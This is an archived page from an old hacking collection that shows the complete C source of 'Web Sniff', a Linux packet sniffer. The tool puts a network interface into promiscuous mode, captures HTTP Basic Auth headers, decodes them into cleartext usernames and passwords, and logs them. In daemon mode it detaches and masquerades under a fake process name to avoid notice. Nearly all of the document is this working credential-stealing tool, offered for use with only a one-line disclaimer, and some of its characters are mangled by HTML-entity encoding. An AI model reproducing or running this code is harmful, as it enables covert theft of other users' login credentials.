home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / web_sniff.c < prev    next >
Text File  |  1998-07-17  |  15KB  |  629 lines

  1. /*
  2.  *
  3.  *  Web Sniff v1.0 for Linux
  4.  * 
  5.  *  Coded by BeastMaster V
  6.  *  http://www.rootshell.com
  7.  *
  8.  *  EMAIL: All questions or
  9.  *  comments should be sent to
  10.  *  bryan@scott.net
  11.  * 
  12.  *  DESCRIPTION: This program 
  13.  *  sniffs packets destined for
  14.  *  webservers and scans for 
  15.  *  headers with Basic Auth.
  16.  *  then automatically decodes
  17.  *  the auth. string giving a
  18.  *  username/passwd in cleartext.
  19.  *
  20.  *  BUGS: In the verbose mode,
  21.  *  source/destination headers
  22.  *  get out of sync with data.
  23.  *  In daemon mode, source/dest.
  24.  *  headers may not be reliable.
  25.  *
  26.  *  DISCLAIMER: Please use
  27.  *  this program in a
  28.  *  responsible manner.
  29.  *
  30.  */
  31.  
  32. #include <stdio.h>
  33. #include <stdlib.h>
  34. #include <stdarg.h>
  35. #include <sys/socket.h>
  36. #include <sys/time.h>
  37. #include <sys/types.h>
  38. #include <unistd.h>
  39. #include <sys/stat.h>
  40. #include <fcntl.h>
  41. #include <netinet/in.h>
  42. #include <netdb.h>
  43. #include <string.h>
  44. #include <linux/if.h>
  45. #include <signal.h>
  46. #include <termio.h>
  47. #include <arpa/inet.h>
  48. #include <linux/socket.h>
  49. #include <linux/ip.h>
  50. #include <linux/tcp.h>
  51. #include <linux/if_ether.h>
  52. #include <errno.h>
  53.  
  54. extern int errno;
  55.  
  56. #define DEFAULT_WEB_PORT 80
  57. #define CAPTURE_LENGTH 1024
  58. #define TIMEOUT 30
  59. #define INTERFACE "eth0"
  60. #define ISBLANK(x)  (((x) == ' ') || ((x) == '\t'))
  61. #define SPACELEFT(buf, ptr)  (sizeof buf - ((ptr) - buf))
  62. #define newstr(s) strcpy(malloc(strlen(s) + 1), s)
  63.  
  64. struct BASE64_PARAMS {
  65.       unsigned long int accum;
  66.       int               shift;
  67.       int               save_shift;
  68. };
  69.  
  70. struct etherpacket {
  71.         struct ethhdr ether_header;
  72.         struct iphdr ip_header;
  73.         struct tcphdr tcp_header;
  74.         char buff[8192];
  75. } ether_packet;
  76.  
  77. struct 
  78. {
  79.         unsigned long source_addr;
  80.         unsigned long dest_addr;
  81.         unsigned short source_port;
  82.         unsigned short dest_port;
  83.         int      bytes_read;
  84.         char     active;
  85.         time_t   start_time;
  86.     char      tmp_realm[1024];
  87.     char     tmp_host[512];
  88. } target;
  89.  
  90. struct iphdr *ip;
  91. struct tcphdr *tcp;
  92.  
  93. char **Argv = NULL;          
  94. char *LastArgv = NULL;      
  95.  
  96. short daemon_mode;
  97. short verbose_mode;
  98. unsigned short user_port;
  99. FILE *daemon_fd=NULL;
  100. int sock;
  101.  
  102. /* function declarations */
  103. char *lookup(unsigned long int);
  104. char *dateTime();
  105.  
  106. /* BeastMaster V's implementation of signal */
  107. void      (*
  108. r_signal(sig, func)) (int)
  109. int     sig;
  110. void    (*func) ();
  111. {
  112.         struct sigaction act, oact;
  113.  
  114.         act.sa_handler = func;
  115.  
  116.         sigemptyset(&act.sa_mask);
  117.         act.sa_flags = 0;
  118.  
  119. #ifdef SA_RESTART
  120.         act.sa_flags |= SA_RESTART;
  121. #endif
  122.  
  123.       if (sigaction(sig, &act, &oact) < 0)
  124.               return (SIG_ERR);
  125.  
  126.       return (oact.sa_handler);
  127. }
  128.  
  129. /* this function detaches a process from a controlling terminal */
  130. void detach()
  131. {
  132.         int rc, fd;
  133.  
  134.         /* Fork once to escape shell's job control */
  135.         if ((rc = fork()) > 0)
  136.                 exit(0);
  137.         else if (rc <0) {
  138.                 perror("detach");
  139.                 exit(EXIT_FAILURE);
  140.         }
  141.  
  142.         /* Now detach from the controlling terminal */
  143.         if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
  144.                 printf("couldn't open tty, assuming still okay...\n");
  145.                 fflush((FILE *)stdout);
  146.                 return;
  147.         }
  148.  
  149.         ioctl(fd, TIOCNOTTY, 0);
  150.  
  151.         close(fd);
  152.  
  153.         /* make us a new process group/session */
  154.         setsid();
  155. }
  156.  
  157. /* this function lets you set the current process title */
  158. setproctitle(const char *fmt, ...)
  159. {
  160.         register char *p;
  161.         register int i;
  162.         char buf[2048];
  163.     va_list args;
  164.  
  165.         p = buf;
  166.  
  167.     va_start(args, fmt);
  168.         (void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
  169.     va_end(args);
  170.  
  171.         i = strlen(buf);
  172.  
  173.         if (i > LastArgv - Argv[0] - 2)
  174.         {
  175.                 i = LastArgv - Argv[0] - 2;
  176.                 buf[i] = '\0';
  177.         }
  178.         (void) strcpy(Argv[0], buf);
  179.         p = &Argv[0][i];
  180.         while (p < LastArgv)
  181.                 *p++ = ' ';
  182.         Argv[1] = NULL;
  183. }
  184.  
  185. /* this function does initialization for setproctitle() */
  186. void initsetproctitle(int argc, char **argv, char **envp)
  187. {
  188.         register int i;
  189.         extern char **environ;
  190.  
  191.         for (i = 0; envp[i] != NULL; i++)
  192.                 continue;
  193.         environ = (char **) malloc(sizeof (char *) * (i + 1));
  194.         for (i = 0; envp[i] != NULL; i++)
  195.                 environ[i] = newstr(envp[i]);
  196.         environ[i] = NULL;
  197.  
  198.         Argv = argv;
  199.         if (i > 0)
  200.                 LastArgv = envp[i - 1] + strlen(envp[i - 1]);
  201.         else
  202.                 LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
  203. }
  204.  
  205. /* converts base64 ascii to integer code */
  206. int cvt_ascii( unsigned char alpha )
  207. {
  208.    if      ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha - 'A');
  209.    else if ( (alpha >= 'a') && (alpha <= 'z') )
  210.         return 26 + (int)(alpha - 'a');
  211.    else if ( (alpha >= '0') && (alpha <= '9' ) )
  212.         return 52 + (int)(alpha - '0');
  213.    else if ( alpha == '+' ) return 62;
  214.    else if ( alpha == '/' ) return 63;
  215.    else if ( alpha == '=' ) return -2;
  216.    else                     return -1;
  217. }
  218.  
  219. /* this does the actual base64 decoding */
  220. void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char *auth_buf)
  221. {
  222.    int index;
  223.    unsigned long int value;
  224.    unsigned char blivit;
  225.    unsigned short j=0;
  226.  
  227.    index = 0;
  228.    *(auth_buf+0)='\0'; 
  229.  
  230.    while ( ISBLANK(buf[index] ) )
  231.    {
  232.       index++;                         /* skip leading blanks */
  233.    }
  234.  
  235.    for ( index = 0;
  236.          (buf[index] != '\n') &&
  237.          (buf[index] != '\0') &&
  238.          (buf[index] != ' ' );
  239.          index++)
  240.    {
  241.  
  242.       if (index==(264-5)) return;
  243.  
  244.       value = cvt_ascii( buf[index] ); /* find chr in base64 alphabet */
  245.  
  246.       if ( value < 64 )                /* if legal */
  247.       {
  248.          d->accum <<= 6;               /* assemble binary accum */
  249.          d->shift += 6;
  250.          d->accum |= value;
  251.          if ( d->shift >= 8 )
  252.          {
  253.             d->shift -= 8;
  254.             value = d->accum >> d->shift;
  255.             blivit = (unsigned char)value & 0xFFl;
  256.             *(auth_buf+j) = (char )blivit;
  257.         j++;
  258.          }
  259.  
  260.       }
  261.       else                             /* else if out of base64 range */
  262.       {
  263.          quit = 1;                     /* then finished */
  264.          break;
  265.       }
  266.    }
  267.  
  268.    *(auth_buf+j)='\0';   
  269.    return;
  270. }
  271.  
  272. /* this is a nice way to call the base64 decode function */
  273. void decode(char *b64_string, char *user_buff)
  274. {
  275.  
  276.         struct BASE64_PARAMS d_p;
  277.         int quit=0;
  278.  
  279.         d_p.shift = 0;
  280.         d_p.accum = 0;
  281.  
  282.         base64_decode((char *)b64_string, quit, &d_p, user_buff);
  283.  
  284.         return;
  285. }
  286.  
  287. /* checks for authorization and parses out username and password */
  288. void parse_segment(char *data)
  289. {
  290.     short i,j=0;
  291.     char foo[256];
  292.       char user[128];
  293.     char pass[128];
  294.  
  295.     if ((!strncmp(data,"GET ",4))||(!strncmp(data,"POST ",5))||(!strncmp(data,"HEAD ",5)))
  296.         strncpy(target.tmp_realm,data,strlen(data));
  297.     
  298.     /* you might want to change this to a more intelligent test */
  299.     if (!strncasecmp(data,"Authorization: Basic",20)) {
  300.         if (strlen(data+21)>sizeof(foo)) 
  301.             *(data+21+sizeof(foo-1))='\0';
  302.         decode(data+21,foo);
  303.         for (i=0;foo[i];i++) {
  304.             if (foo[i]==':')
  305.                 break;
  306.             user[i]=foo[i];
  307.         }
  308.         user[i]='\0';
  309.         for (++i; foo[i]; i++) {
  310.             pass[j]=foo[i];
  311.             j++;
  312.         }    
  313.         pass[j]='\0';
  314.         if (daemon_mode) {
  315.             fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
  316.             fprintf(daemon_fd,"%s",target.tmp_host);
  317.             fprintf(daemon_fd,"REALM REQUESTED: %s\n", target.tmp_realm);
  318.             fprintf(daemon_fd,"---[ USER = %s     PASS = %s ]---\n",user,pass);
  319.             fprintf(daemon_fd,"#######\n\n");
  320.             fflush(daemon_fd);
  321.         } else {
  322.             printf("\n----------[ USER = %s     PASS = %s ]----------\n",user,pass);
  323.             fflush(stdout);
  324.         }
  325.     }
  326.  
  327.     return;
  328.  
  329. }
  330.  
  331. /* read data from ether_packet.buff and parse check each line */
  332. int scan_data(int datalen, char *data)
  333. {
  334.    int i=0, t=0;
  335.    char data_buff[CAPTURE_LENGTH];
  336.  
  337.    target.bytes_read=target.bytes_read+datalen;
  338.    memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
  339.    sprintf(target.tmp_host,"[%s] [%d] => ",lookup(target.source_addr),ntohs(target.source_port));
  340.    sprintf(data_buff,"[%s] [%d]\n",lookup(target.dest_addr),ntohs(target.dest_port));
  341.    strcat(target.tmp_host,data_buff);
  342.  
  343.    data_buff[0]='\0';   
  344.  
  345.    for(i=0;i != datalen;i++)
  346.    {
  347.         if(data[i] == 13)
  348.     {
  349.         data_buff[t]='\0';
  350.         if (verbose_mode) {
  351.             printf("%s\n", data_buff);
  352.             fflush(stdout);
  353.         }
  354.         parse_segment(data_buff);
  355.         t=0;
  356.         }
  357.         if(isprint(data[i]))
  358.     {
  359.                 data_buff[t]=data[i];
  360.                 t++;
  361.         }
  362.         if(t > 255)
  363.     {
  364.         t=0;
  365.         data_buff[t]='\0';
  366.         if (verbose_mode) {
  367.             printf("%s\n", data_buff);
  368.             fflush(stdout);
  369.         }
  370.         parse_segment(data_buff);
  371.         }
  372.  
  373.    }
  374.  
  375. }
  376.  
  377. /* handler for segmentation violations */
  378. void seg_fault (int sig)
  379. {
  380.     fprintf(stderr, "\n");
  381.     fprintf(stderr, "Segmentation Violation!\n");
  382.     fprintf(stderr, "\n");
  383.     fprintf(stderr, "Congratulations! You have crashed my program.\n");
  384.     fprintf(stderr, "Please mail me:  bryan@scott.net\n");
  385.     fprintf(stderr, "describing *exactly* what you did to make this\n");
  386.     fprintf(stderr, "program crash. Thanks and have a nice day :-)\n");
  387.     fprintf(stderr, "\n");
  388.     exit(EXIT_FAILURE);
  389. }
  390.  
  391. /* resolves a hostname via gethostbyaddr() */
  392. char *lookup(unsigned long int network_address)
  393. {
  394.         static char buf[1024];
  395.         struct in_addr my_addr;
  396.         struct hostent *he;
  397.  
  398.         my_addr.s_addr=network_address;
  399.         he=gethostbyaddr((char *)&my_addr,sizeof(struct in_addr),AF_INET);
  400.         if (he==NULL)
  401.                 sprintf(buf,inet_ntoa(my_addr));
  402.         else
  403.                 sprintf(buf,he->h_name);
  404.         return (buf);
  405. }
  406.  
  407. /* this function returns the data and time */
  408. char * dateTime()
  409. {
  410.         time_t t;
  411.         char * s;
  412.  
  413.         time(&t);
  414.         s = (char *)ctime((const time_t *)&t);
  415.         s[24] = '\0';
  416.         return s;
  417. }
  418.  
  419. /* handler when program is terminated noramlly */
  420. void bye(int sig)
  421. {
  422.  
  423.     if (daemon_mode) {
  424.                 fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s] ***\n",dateTime());
  425.         fclose(daemon_fd);
  426.     }
  427.  
  428.     close(sock);
  429.     exit(0);
  430. }
  431.  
  432. /* filters out all other packets except for ones were intrested in */
  433. int packet_filter ()
  434. {
  435.     unsigned short port;
  436.  
  437.     if (ip->protocol !=6) return (0);
  438.     if (target.active !=0)
  439.         if (target.bytes_read > CAPTURE_LENGTH)
  440.         {
  441.             bzero(&target, sizeof(target));
  442.             return(0);
  443.         }
  444.  
  445.     if (user_port!=0)
  446.         port=user_port;
  447.     else
  448.         port=DEFAULT_WEB_PORT;
  449.  
  450.     if (ntohs(tcp->dest)!=port)
  451.         return(0);
  452.     else
  453.     {
  454.         if (tcp->syn==1)
  455.         {
  456.             target.source_addr=ip->saddr;
  457.             target.dest_addr=ip->daddr;
  458.             target.active=1;
  459.             target.source_port=tcp->source;
  460.             target.dest_port=tcp->dest;
  461.             target.bytes_read=0;
  462.             target.start_time=time(NULL);
  463.             if (verbose_mode) {
  464.                         printf("[%s] [%d] => ",lookup(target.source_addr),
  465.                 ntohs(target.source_port));
  466.                         printf("[%s] [%d]\n", lookup(target.dest_addr),
  467.                 ntohs(target.dest_port));
  468.                         fflush(stdout);
  469.                     }
  470.             
  471.         }
  472.     }
  473.     
  474.     return(1);
  475. }
  476.  
  477. /* prints the usage for our program */
  478. void print_usage (char *prog_name)
  479. {
  480.     printf("\n");
  481.     printf("### Web Sniffer v1.0 by BeastMaster V ###\n");
  482.     printf("         http://www.rootshell.com\n");
  483.     printf("\n");
  484.     printf("Usage:\n");
  485.     printf("\n");
  486.     printf("%s [-d|-v] [-p <port number>]\n", prog_name);
  487.     printf("\n");
  488.     printf("-d : run as a daemon and print output to logfile.\n");
  489.     printf("-v : run in foreground and print output to stdout.\n");
  490.     printf("-p : optionally specifies port number to sniff on.\n");
  491.     printf("\n");
  492. }
  493.  
  494. /* start here */
  495. int main ( argc, argv, envp )
  496. unsigned int argc;
  497. char **argv;
  498. char **envp;
  499. {
  500.         int i, x, c;
  501.     extern int optind;
  502.     extern char *optarg;
  503.         struct ifreq req;
  504.     short argsLeft=0;
  505.     short errFlag=0;
  506.     char *port_ptr=NULL;
  507.     char title[1024];
  508.  
  509.         r_signal(SIGSEGV, seg_fault);
  510.         r_signal(SIGTERM, bye);
  511.         r_signal(SIGQUIT, bye);
  512.         r_signal(SIGHUP, bye);
  513.  
  514.         if (getuid() && geteuid()) {
  515.                 fprintf(stderr, "\nYou need to be root in order to run this.\n\n");
  516.                 exit(EXIT_FAILURE);
  517.         }
  518.  
  519.     memset(title,'\0',sizeof(title));
  520.  
  521.     verbose_mode=0;
  522.     daemon_mode=0;
  523.     user_port=0;
  524.  
  525.     while((c=getopt(argc,argv,"dvp:"))!= EOF)
  526.         switch(c) {
  527.            case 'd':
  528.                if (verbose_mode)
  529.                    errFlag++;
  530.                else
  531.                daemon_mode=1;
  532.                break;
  533.            case 'v':
  534.                if (daemon_mode)
  535.                    errFlag++;
  536.                else
  537.                verbose_mode=1;
  538.                break;
  539.            case 'p':
  540.                port_ptr=optarg;
  541.                user_port=atoi(port_ptr);
  542.                break;
  543.            case '?':
  544.                errFlag++;
  545.         }
  546.  
  547.     argsLeft=argc-optind;
  548.  
  549.     if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft) {
  550.         print_usage(argv[0]);
  551.         exit(EXIT_FAILURE);
  552.     }
  553.  
  554.     if (daemon_mode) {
  555.         printf("\n");
  556.         printf("*** Daemon Mode ***\n");
  557.         printf("Enter in the full path to the logfile\n");
  558.         fgets(title,sizeof(title),stdin);
  559.                 for (c=0; title[c]; c++)
  560.                         if (title[c]=='\n') {
  561.                                 title[c]='\0';
  562.                                 break;
  563.                         }
  564.         if ((daemon_fd=fopen(title,"a+"))==NULL) {
  565.             fprintf(stderr, "Could not open logfile: %s\n", strerror(errno));
  566.             exit(EXIT_FAILURE);
  567.         }
  568.         printf("Enter in a process title to masquerade as so\n");
  569.         printf("it won't be quite so obvious to other users what\n");
  570.         printf("we are really doing (i.e: bash, ftp, in.telnetd, vi ...)\n");
  571.         fgets(title,sizeof(title),stdin);
  572.         for (c=0; title[c]; c++)
  573.             if (title[c]=='\n') {
  574.                 title[c]='\0';
  575.                 break;
  576.             }
  577.         printf("Setting process title to: %s\n", title);
  578.         initsetproctitle(argc, argv, envp);
  579.         setproctitle("%s", title);
  580.         printf("Daemon Mode Started.\n");
  581.         detach();
  582.         fprintf(daemon_fd, "\n*** Daemon Mode Started at [%s] ***\n",dateTime());
  583.         fflush(daemon_fd);
  584.     }
  585.  
  586.         sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
  587.         if (sock <0) {
  588.                 perror("can't get SOCK_PACKET socket");
  589.                 exit(1);
  590.         }
  591.  
  592.         strcpy(req.ifr_name, INTERFACE);
  593.  
  594.         if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
  595.                 close(sock);
  596.                 fprintf(stdout, "I cannot get flags: %s\n", strerror(errno));
  597.                 exit(EXIT_FAILURE);
  598.         }
  599.         req.ifr_flags |= IFF_PROMISC;
  600.         if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
  601.                 close(sock);
  602.                 fprintf(stdout, "I cannot set flags: %s\n", strerror(errno));
  603.                 exit(EXIT_FAILURE);
  604.         }
  605.  
  606.         ip=(struct iphdr *)(((unsigned long)ðer_packet.ip_header)-2);        
  607.         tcp=(struct tcphdr *)(((unsigned long)ðer_packet.tcp_header)-2);
  608.         
  609.         bzero(&target, sizeof(target));
  610.         
  611.         for (;;) {
  612.            while(1) {
  613.               x=read(sock,ðer_packet,sizeof(ether_packet));
  614.               if (x > 1)
  615.               {
  616.                   if (packet_filter()==0) continue;
  617.                   x=x-54;
  618.                   if (x<1) continue;
  619.                   break;
  620.               }
  621.            }
  622.  
  623.            scan_data(htons(ip->tot_len)-sizeof(ether_packet.ip_header)-
  624.            sizeof(ether_packet.tcp_header),ether_packet.buff-2);
  625.  
  626.         }
  627.  
  628. }
  629.